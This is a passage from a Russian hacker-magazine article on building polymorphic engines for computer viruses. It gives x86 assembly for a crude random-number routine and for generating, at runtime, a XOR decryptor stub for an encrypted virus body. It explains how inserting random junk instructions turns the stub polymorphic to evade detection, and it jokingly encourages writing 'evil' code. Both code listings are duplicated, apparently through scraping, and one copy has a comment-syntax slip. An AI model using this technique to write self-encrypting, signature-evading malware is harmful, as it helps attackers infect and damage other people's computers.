Технология шифрования Докучаев Дмитрий aka Forb Спецвыпуск Xakep, номер #035, стр. 035-036-4 Ты никогда не задумывался над тем, без чего не может обойтись ни один полиморфный движок? Конечно! Он не может обойтись без генератора [псевдо]случайных чисел. Тут сама собой напрашивается любимая функция rand(), но в ASM'е ее нет, поэтому придется изобретать что-нибудь свое. Хорошим вариантом является использование следующего кода: rand: in eax,40h ret rand: in eax,40h ret Основная суть полиморфного движка состоит в том, чтобы генерировать код "на лету", "из ничего": мы можем записать код в какую-то специально отведенную для этого область памяти, а затем вызвать его. Примером тому может служить подобная реализация кода дешифровщика, который мы приводили выше: lea edi,virus_address mov al,0B9h ; опкод MOV ECX,imm32 stosb ; сохранить EAX, куда указывает EDI mov eax,virus_size ; Число, которое нужно сохранить stosd mov al,0BFh ; опкод MOV EDI,offset32 stosb mov eax,offset crypt ; 32-битное сохраняемое смещение stosd mov al,0B8h ; опкод MOV EAX,imm32 stosb mov eax, crypt_key stosd mov ax,0731h ; опкод XOR [EDI],EAX stosw mov ax,0C783h ; опкод ADD EDI,imm32 (>7F) stosw mov al,04h ; Сохраняемый Imm32 (>7F) stosb mov ax,0F9E2h ; опкод LOOP _begin_loop stosw lea edi,virus_address mov al,0B9h ; опкод MOV ECX,imm32 stosb ; сохранить EAX, куда указывает EDI mov eax,virus_size ; Число, которое нужно сохранить stosd mov al,0BFh : опкод MOV EDI,offset32 stosb mov eax,offset crypt ; 32-битное сохраняемое смещение stosd mov al,0B8h ; опкод MOV EAX,imm32 stosb mov eax, crypt_key stosd mov ax,0731h ; опкод XOR [EDI],EAX stosw mov ax,0C783h ; опкод ADD EDI,imm32 (>7F) stosw mov al,04h ; Сохраняемый Imm32 (>7F) stosb mov ax,0F9E2h ; опкод LOOP _begin_loop stosw Несложно догадаться, что достаточно пары строчек кода, чтобы сделать этот код генератором полиморфного дешифровщика. Достаточно хотя бы добавить случайную вставку однобайтовых инструкций после каждого stos. Я думаю, на этом небольшом примере можно понять, как работают полиморфные движки. Конечно, реально они гораздо сложнее: они используют различные регистры, передвижение частей кода и т.п. – но это уже зависит от твоего воображения и желания воплощать зло в ассемблерном коде :). |